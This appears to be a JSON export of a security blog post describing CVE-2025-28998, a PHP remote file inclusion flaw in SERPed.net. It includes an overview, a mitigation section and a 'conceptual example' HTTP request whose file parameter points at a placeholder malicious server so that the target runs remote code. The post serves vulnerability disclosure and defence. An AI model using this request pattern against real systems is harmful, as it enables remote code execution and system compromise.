{"id":57650,"date":"2025-07-05T18:34:21","date_gmt":"2025-07-05T18:34:21","guid":{"rendered":""},"modified":"2025-10-02T23:37:22","modified_gmt":"2025-10-03T05:37:22","slug":"cve-2025-28998-remote-file-inclusion-vulnerability-in-serped-net-php-program","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-28998-remote-file-inclusion-vulnerability-in-serped-net-php-program\/","title":{"rendered":"<strong>CVE-2025-28998: Remote File Inclusion Vulnerability in SERPed.net PHP Program<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The CVE-2025-28998 is a serious security vulnerability detected in the SERPed.net PHP program that may potentially lead to system compromise or data leakage. This vulnerability is based on improper control of filename for Include\/Require statement in PHP program, also known as &#8216;PHP Remote File Inclusion&#8217;. This flaw affects a wide range of SERPed.net versions, specifically from n\/a through 4.6, and poses a significant threat to the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2021-26383-critical-vulnerability-in-amd-tee-puts-system-integrity-and-data-availability-in-jeopardy\/\"  data-wpil-monitor-id=\"88072\">integrity and confidentiality of the affected systems<\/a>, making this issue crucial to address.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-28998<br \/>\nSeverity: High (8.1 CVSS score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3090-unauthenticated-remote-attack-leading-to-potential-data-leakage-and-system-compromise\/\"  data-wpil-monitor-id=\"64599\">System compromise and potential data leakage<\/a><\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1556651548\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>SERPed.net | n\/a &#8211; 4.6<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit works by taking advantage of the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47993-improper-access-control-vulnerability-in-microsoft-pc-manager\/\"  data-wpil-monitor-id=\"77513\">improper control<\/a> of filenames in the PHP program&#8217;s Include\/Require statement. It <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-20281-critical-vulnerability-in-cisco-ise-and-ise-pic-apis-allows-remote-code-execution\/\"  data-wpil-monitor-id=\"64598\">allows an attacker to include a remote<\/a> file from an external server, which gets executed in the context of the application. This allows the attacker to execute arbitrary code, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-20599-unauthorized-access-to-crypto-co-processor-registers-in-asp-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"64228\">potentially leading to full system<\/a> compromise.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2729966652\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how this vulnerability might be exploited. This HTTP request demonstrates how a malicious payload in the form of a remote <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6426-executable-file-warning-vulnerability-in-firefox-for-macos\/\"  data-wpil-monitor-id=\"64290\">file could be included and executed<\/a> on the server:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/vulnerable_page.php?file=http:\/\/malicious_server\/malicious_file.php HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p>In this example, `vulnerable_page.php` is the PHP page that <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52890-critical-acl-bypass-vulnerability-in-incus-system-container-and-virtual-machine-manager\/\"  data-wpil-monitor-id=\"64738\">contains the vulnerable<\/a> Include\/Require statement. The `file` parameter is <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48466-remote-manipulation-of-digital-outputs-via-modbus-tcp-packets\/\"  data-wpil-monitor-id=\"64276\">manipulated to include a remote<\/a> file (`malicious_file.php`) from a malicious server (`malicious_server`). When the request is processed, the malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-20282-unauthenticated-file-upload-and-execution-vulnerability-in-cisco-ise-and-ise-pic\/\"  data-wpil-monitor-id=\"64481\">file is included and executed<\/a> on the server.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>To mitigate the vulnerability, the immediate recommendation is to apply the vendor-supplied patch. In the event that a patch isn&#8217;t available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. However, these <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5310-remote-code-execution-vulnerability-in-dover-fueling-solutions-progauge-maglink-lx-consoles\/\"  data-wpil-monitor-id=\"65519\">solutions do not completely resolve the vulnerability<\/a> but rather add an additional layer of security to the system. It is strongly recommended to apply the vendor patch as soon as it becomes available to ensure the integrity and confidentiality of your <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6435-firefox-vulnerability-leading-to-potential-system-compromise-and-data-leakage\/\"  data-wpil-monitor-id=\"65520\">systems and data<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The CVE-2025-28998 is a serious security vulnerability detected in the SERPed.net PHP program that may potentially lead to system compromise or data leakage. This vulnerability is based on improper control of filename for Include\/Require statement in PHP program, also known as &#8216;PHP Remote File Inclusion&#8217;. This flaw affects a wide range of SERPed.net versions, [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-57650","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/57650","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=57650"}],"version-history":[{"count":9,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/57650\/revisions"}],"predecessor-version":[{"id":80886,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/57650\/revisions\/80886"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=57650"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=57650"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=57650"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=57650"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=57650"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=57650"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=57650"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=57650"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=57650"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}